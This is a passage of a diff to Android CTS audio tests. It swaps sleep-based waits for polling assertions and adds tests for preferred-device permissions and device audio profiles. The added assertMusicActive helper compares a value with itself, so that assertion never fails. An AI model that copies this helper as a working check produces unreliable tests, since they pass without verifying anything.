             // disallow all sounds in priority only, turn on priority only DND
             mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
 
             // if channels cannot bypass DND, the Ringer stream should be muted, else it
             // shouldn't be muted
-            if (!mAppsBypassingDnd) {
-                assertTrue("Ringer stream should be muted",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            } else {
-                assertFalse("Ringer stream shouldn't be muted b/c channels can bypass DND",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            }
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if channels cannot bypassDnd");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1232,34 +1217,27 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
             // allow only media in priority only
             mNm.setNotificationPolicy(new NotificationManager.Policy(
                     NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertFalse("Music (media) stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+            assertStreamMuted(STREAM_MUSIC, false,
+                    "Music (media) stream should not be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
 
             // if channels cannot bypass DND, the Ringer stream should be muted, else it
             // shouldn't be muted
-            if (!mAppsBypassingDnd) {
-                assertTrue("Ringer stream should be muted",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            } else {
-                assertFalse("Ringer stream shouldn't be muted b/c channels can bypass DND",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            }
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if channels cannot bypassDnd");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1274,26 +1252,24 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
             // allow only system in priority only
             mNm.setNotificationPolicy(new NotificationManager.Policy(
                     NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertFalse("System stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
-            assertFalse("Ringer stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, false,
+                    "System stream should not be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, false,
+                    "Ringer stream should not be muted");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1308,27 +1284,25 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test, but then mute ringer
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 0, 0);
             mAudioManager.setRingerMode(RINGER_MODE_SILENT);
 
             // allow only system in priority only
             mNm.setNotificationPolicy(new NotificationManager.Policy(
                     NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
-           assertTrue("Ringer stream should be muted",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, true,
+                    "Ringer stream should be muted");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1343,34 +1317,27 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
             // allow only alarms in priority only
             mNm.setNotificationPolicy(new NotificationManager.Policy(
                     NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertFalse("Alarm stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, false,
+                    "Alarm stream should not be muted");
 
             // if channels cannot bypass DND, the Ringer stream should be muted, else it
             // shouldn't be muted
-            if (!mAppsBypassingDnd) {
-                assertTrue("Ringer stream should be muted",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            } else {
-                assertFalse("Ringer stream shouldn't be muted b/c channels can bypass DND",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            }
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if channels cannot bypassDnd");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1385,48 +1352,46 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
             // allow only reminders in priority only
             mNm.setNotificationPolicy(new NotificationManager.Policy(
                     NotificationManager.Policy.PRIORITY_CATEGORY_REMINDERS, 0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
-            assertFalse("Ringer stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, false,
+                    "Ringer stream should not be muted");
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
     }
 
     public void testPriorityOnlyChannelsCanBypassDnd() throws Exception {
-        final String NOTIFICATION_CHANNEL_ID = "test_id";
         if (mSkipRingerTests) {
             return;
         }
 
         Utils.toggleNotificationPolicyAccess(
                 mContext.getPackageName(), getInstrumentation(), true);
+
+        final String NOTIFICATION_CHANNEL_ID = "test_id_" + SystemClock.uptimeMillis();
         NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID, "TEST",
                 NotificationManager.IMPORTANCE_DEFAULT);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
             // create a channel that can bypass dnd
             channel.setBypassDnd(true);
@@ -1435,39 +1400,33 @@
             // allow nothing
             mNm.setNotificationPolicy(new NotificationManager.Policy(0,0, 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
-            assertFalse("Ringer stream should not be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, false,
+                    "Ringer stream should not be muted."
+                            + " areChannelsBypassing="
+                            + NotificationManager.getService().areChannelsBypassingDnd());
 
             // delete the channel that can bypass dnd
             mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            assertTrue("Music (media) stream should still be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
-            assertTrue("System stream should still be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should still be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
-
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
             // if channels cannot bypass DND, the Ringer stream should be muted, else it
             // shouldn't be muted
-            if (!mAppsBypassingDnd) {
-                assertTrue("Ringer stream should be muted",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            } else {
-                assertFalse("Ringer stream shouldn't be muted b/c channels can bypass DND",
-                        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
-            }
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if apps are bypassing dnd"
+                            + " areChannelsBypassing="
+                            + NotificationManager.getService().areChannelsBypassingDnd());
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
@@ -1481,10 +1440,10 @@
         mAudioManager.adjustVolume(37, 0);
     }
 
-    private final int[] PUBLIC_STREAM_TYPES = { AudioManager.STREAM_VOICE_CALL,
-            AudioManager.STREAM_SYSTEM, AudioManager.STREAM_RING, AudioManager.STREAM_MUSIC,
-            AudioManager.STREAM_ALARM, AudioManager.STREAM_NOTIFICATION,
-            AudioManager.STREAM_DTMF,  AudioManager.STREAM_ACCESSIBILITY };
+    private final int[] PUBLIC_STREAM_TYPES = { STREAM_VOICE_CALL,
+            STREAM_SYSTEM, STREAM_RING, STREAM_MUSIC,
+            STREAM_ALARM, STREAM_NOTIFICATION,
+            STREAM_DTMF,  STREAM_ACCESSIBILITY };
 
     public void testGetStreamVolumeDbWithIllegalArguments() throws Exception {
         Exception ex = null;
@@ -1502,7 +1461,7 @@
         // invalid volume index
         ex = null;
         try {
-            float gain = mAudioManager.getStreamVolumeDb(AudioManager.STREAM_MUSIC, -101 /*volume*/,
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, -101 /*volume*/,
                     AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
         } catch (Exception e) {
             ex = e; // expected
@@ -1514,8 +1473,8 @@
         // invalid out of range volume index
         ex = null;
         try {
-            final int maxVol = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
-            float gain = mAudioManager.getStreamVolumeDb(AudioManager.STREAM_MUSIC, maxVol + 1,
+            final int maxVol = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, maxVol + 1,
                     AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
         } catch (Exception e) {
             ex = e; // expected
@@ -1527,7 +1486,7 @@
         // invalid device type
         ex = null;
         try {
-            float gain = mAudioManager.getStreamVolumeDb(AudioManager.STREAM_MUSIC, 0,
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, 0,
                     -102 /*deviceType*/);
         } catch (Exception e) {
             ex = e; // expected
@@ -1539,7 +1498,7 @@
         // invalid input device type
         ex = null;
         try {
-            float gain = mAudioManager.getStreamVolumeDb(AudioManager.STREAM_MUSIC, 0,
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, 0,
                     AudioDeviceInfo.TYPE_BUILTIN_MIC);
         } catch (Exception e) {
             ex = e; // expected
@@ -1570,10 +1529,10 @@
 
     public void testAdjustSuggestedStreamVolumeWithIllegalArguments() throws Exception {
         // Call the method with illegal direction. System should not reboot.
-        mAudioManager.adjustSuggestedStreamVolume(37, AudioManager.STREAM_MUSIC, 0);
+        mAudioManager.adjustSuggestedStreamVolume(37, STREAM_MUSIC, 0);
 
         // Call the method with illegal stream. System should not reboot.
-        mAudioManager.adjustSuggestedStreamVolume(AudioManager.ADJUST_RAISE, 66747, 0);
+        mAudioManager.adjustSuggestedStreamVolume(ADJUST_RAISE, 66747, 0);
     }
 
     @CddTest(requirement="5.4.1/C-1-4")
@@ -1608,19 +1567,42 @@
         }
     }
 
-    public void testIsHapticPlaybackSupported() throws Exception {
+    public void testIsHapticPlaybackSupported() {
         // Calling the API to make sure it doesn't crash.
         Log.i(TAG, "isHapticPlaybackSupported: " + AudioManager.isHapticPlaybackSupported());
     }
 
-    private void setInterruptionFilter(int filter) throws Exception {
-        mNm.setInterruptionFilter(filter);
-        for (int i = 0; i < 5; i++) {
-            if (mNm.getCurrentInterruptionFilter() == filter) {
-                break;
-            }
-            Thread.sleep(1000);
+    public void testGetAudioHwSyncForSession() {
+        // AudioManager.getAudioHwSyncForSession is not supported before S
+        if (ApiLevelUtil.isAtMost(Build.VERSION_CODES.R)) {
+            Log.i(TAG, "testGetAudioHwSyncForSession skipped, release: " + Build.VERSION.SDK_INT);
+            return;
         }
+        try {
+            int sessionId = mAudioManager.generateAudioSessionId();
+            assertNotEquals("testGetAudioHwSyncForSession cannot get audio session ID",
+                    AudioManager.ERROR, sessionId);
+            int hwSyncId = mAudioManager.getAudioHwSyncForSession(sessionId);
+            Log.i(TAG, "getAudioHwSyncForSession: " + hwSyncId);
+        } catch (UnsupportedOperationException e) {
+            Log.i(TAG, "getAudioHwSyncForSession not supported");
+        } catch (Exception e) {
+            fail("Unexpected exception thrown by getAudioHwSyncForSession: " + e);
+        }
+    }
+
+    private void setInterruptionFilter(int filter) {
+        mNm.setInterruptionFilter(filter);
+        final long startPoll = SystemClock.uptimeMillis();
+        int currentFilter = -1;
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_UPDATE_INTERRUPTION_FILTER) {
+            currentFilter = mNm.getCurrentInterruptionFilter();
+            if (currentFilter == filter) {
+                return;
+            }
+        }
+        Log.e(TAG, "interruption filter unsuccessfully set. wanted=" + filter
+                + " actual=" + currentFilter);
     }
 
     private int getVolumeDelta(int volume) {
@@ -1684,6 +1666,216 @@
         }
     }
 
+    static class MyPrevDevForStrategyListener implements
+            AudioManager.OnPreferredDevicesForStrategyChangedListener {
+        @Override
+        public void onPreferredDevicesForStrategyChanged(AudioProductStrategy strategy,
+                List<AudioDeviceAttributes> devices) {
+            fail("onPreferredDevicesForStrategyChanged must not be called");
+        }
+    }
+
+    public void testPreferredDevicesForStrategy() {
+        // setPreferredDeviceForStrategy
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        if (devices.length <= 0) {
+            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no output device");
+            return;
+        }
+        final AudioDeviceAttributes ada = new AudioDeviceAttributes(devices[0]);
+
+        final AudioAttributes mediaAttr = new AudioAttributes.Builder().setUsage(
+                AudioAttributes.USAGE_MEDIA).build();
+        final List<AudioProductStrategy> strategies =
+                AudioProductStrategy.getAudioProductStrategies();
+        AudioProductStrategy strategyForMedia = null;
+        for (AudioProductStrategy strategy : strategies) {
+            if (strategy.supportsAudioAttributes(mediaAttr)) {
+                strategyForMedia = strategy;
+                break;
+            }
+        }
+        if (strategyForMedia == null) {
+            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no strategy for media");
+            return;
+        }
+
+        try {
+            mAudioManager.setPreferredDeviceForStrategy(strategyForMedia, ada);
+            fail("setPreferredDeviceForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.getPreferredDeviceForStrategy(strategyForMedia);
+            fail("getPreferredDeviceForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        final List<AudioDeviceAttributes> adas = new ArrayList<>();
+        adas.add(ada);
+        try {
+            mAudioManager.setPreferredDevicesForStrategy(strategyForMedia, adas);
+            fail("setPreferredDevicesForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.getPreferredDevicesForStrategy(strategyForMedia);
+            fail("getPreferredDevicesForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        MyPrevDevForStrategyListener listener = new MyPrevDevForStrategyListener();
+        try {
+            mAudioManager.addOnPreferredDevicesForStrategyChangedListener(
+                    Executors.newSingleThreadExecutor(), listener);
+            fail("addOnPreferredDevicesForStrategyChangedListener must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        // There is not listener added at server side. Nothing to remove.
+        mAudioManager.removeOnPreferredDevicesForStrategyChangedListener(listener);
+    }
+
+    static class MyPrevDevicesForCapturePresetChangedListener implements
+            AudioManager.OnPreferredDevicesForCapturePresetChangedListener {
+        @Override
+        public void onPreferredDevicesForCapturePresetChanged(
+                int capturePreset, List<AudioDeviceAttributes> devices) {
+            fail("onPreferredDevicesForCapturePresetChanged must not be called");
+        }
+    }
+
+    public void testPreferredDeviceForCapturePreset() {
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+        if (devices.length <= 0) {
+            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no input device");
+            return;
+        }
+        final AudioDeviceAttributes ada = new AudioDeviceAttributes(devices[0]);
+
+        try {
+            mAudioManager.setPreferredDeviceForCapturePreset(MediaRecorder.AudioSource.MIC, ada);
+            fail("setPreferredDeviceForCapturePreset must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.getPreferredDevicesForCapturePreset(MediaRecorder.AudioSource.MIC);
+            fail("getPreferredDevicesForCapturePreset must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.clearPreferredDevicesForCapturePreset(MediaRecorder.AudioSource.MIC);
+            fail("clearPreferredDevicesForCapturePreset must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        MyPrevDevicesForCapturePresetChangedListener listener =
+                new MyPrevDevicesForCapturePresetChangedListener();
+        try {
+            mAudioManager.addOnPreferredDevicesForCapturePresetChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+            fail("addOnPreferredDevicesForCapturePresetChangedListener must fail"
+                    + "due to no permission");
+        } catch (SecurityException e) {
+        }
+        // There is not listener added at server side. Nothing to remove.
+        mAudioManager.removeOnPreferredDevicesForCapturePresetChangedListener(listener);
+    }
+
+    public void testGetDevices() {
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
+        for (AudioDeviceInfo device : devices) {
+            HashSet<Integer> formats = IntStream.of(device.getEncodings()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> channelMasks = IntStream.of(device.getChannelMasks()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> channelIndexMasks = IntStream.of(device.getChannelIndexMasks()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> sampleRates = IntStream.of(device.getSampleRates()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> formatsFromProfile = new HashSet<>();
+            HashSet<Integer> channelMasksFromProfile = new HashSet<>();
+            HashSet<Integer> channelIndexMasksFromProfile = new HashSet<>();
+            HashSet<Integer> sampleRatesFromProfile = new HashSet<>();
+            for (AudioProfile profile : device.getAudioProfiles()) {
+                formatsFromProfile.add(profile.getFormat());
+                channelMasksFromProfile.addAll(Arrays.stream(profile.getChannelMasks()).boxed()
+                        .collect(Collectors.toList()));
+                channelIndexMasksFromProfile.addAll(Arrays.stream(profile.getChannelIndexMasks())
+                        .boxed().collect(Collectors.toList()));
+                sampleRatesFromProfile.addAll(Arrays.stream(profile.getSampleRates()).boxed()
+                        .collect(Collectors.toList()));
+            }
+            assertEquals(formats, formatsFromProfile);
+            assertEquals(channelMasks, channelMasksFromProfile);
+            assertEquals(channelIndexMasks, channelIndexMasksFromProfile);
+            assertEquals(sampleRates, sampleRatesFromProfile);
+        }
+    }
+
+    private void assertStreamVolumeEquals(int stream, int expectedVolume) throws Exception {
+        assertStreamVolumeEquals(stream, expectedVolume,
+                "Unexpected stream volume for stream=" + stream);
+    }
+
+    // volume adjustments are asynchronous, we poll the volume in case the volume state hasn't
+    // been adjusted yet
+    private void assertStreamVolumeEquals(int stream, int expectedVolume, String msg)
+            throws Exception {
+        final long startPoll = SystemClock.uptimeMillis();
+        int actualVolume = mAudioManager.getStreamVolume(stream);
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_VOLUME_ADJUST
+                && expectedVolume != actualVolume) {
+            actualVolume = mAudioManager.getStreamVolume(stream);
+        }
+        assertEquals(msg, expectedVolume, actualVolume);
+    }
+
+    // volume adjustments are asynchronous, we poll the volume in case the mute state hasn't
+    // changed yet
+    private void assertStreamMuted(int stream, boolean expectedMuteState, String msg)
+            throws Exception{
+        final long startPoll = SystemClock.uptimeMillis();
+        boolean actualMuteState = mAudioManager.isStreamMute(stream);
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_VOLUME_ADJUST
+                && expectedMuteState != actualMuteState) {
+            actualMuteState = mAudioManager.isStreamMute(stream);
+        }
+        assertEquals(msg, expectedMuteState, actualMuteState);
+    }
+
+    private void assertMusicActive(boolean expectedIsMusicActive) throws Exception {
+        final long startPoll = SystemClock.uptimeMillis();
+        boolean actualIsMusicActive = mAudioManager.isMusicActive();
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_PLAY_MUSIC
+                && expectedIsMusicActive != actualIsMusicActive) {
+            actualIsMusicActive = mAudioManager.isMusicActive();
+        }
+        assertEquals(actualIsMusicActive, actualIsMusicActive);
+    }
+
+    private static final long REPEATED_CHECK_POLL_PERIOD_MS = 100; // 100ms
+    private static final long DEFAULT_ASYNC_CALL_TIMEOUT_MS = 5 * REPEATED_CHECK_POLL_PERIOD_MS;
+
+    /**
+     * Makes multiple attempts over a given timeout period to test the predicate on an AudioManager
+     * instance. Test success is evaluated against a true predicate result.
+     * @param am the AudioManager instance to use for the test
+     * @param predicate the test to run either until it returns true, or until the timeout expires
+     * @param timeoutMs the maximum time allowed for the test to pass
+     * @param errorString the string to be displayed in case of failure
+     * @throws Exception
+     */
+    private void assertTrueCheckTimeout(AudioManager am, Predicate<AudioManager> predicate,
+            long timeoutMs, String errorString) throws Exception {
+        long checkStart = SystemClock.uptimeMillis();
+        boolean result = false;
+        while (SystemClock.uptimeMillis() - checkStart < timeoutMs) {
+            result = predicate.test(am);
+            if (result) {
+                break;
+            }
+            Thread.sleep(REPEATED_CHECK_POLL_PERIOD_MS);
+        }
+        assertTrue(errorString, result);
+    }
+
     // getParameters() & setParameters() are deprecated, so don't test
 
     // setAdditionalOutputDeviceDelay(), getAudioVolumeGroups(), getVolumeIndexForAttributes()
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index b67ec58..472763c 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -284,7 +284,6 @@
             AudioAttributes.USAGE_ASSISTANCE_SONIFICATION,
             AudioAttributes.USAGE_ASSISTANT,
             AudioAttributes.USAGE_NOTIFICATION,
-            AudioAttributes.USAGE_VOICE_COMMUNICATION
     };
 
     @Presubmit
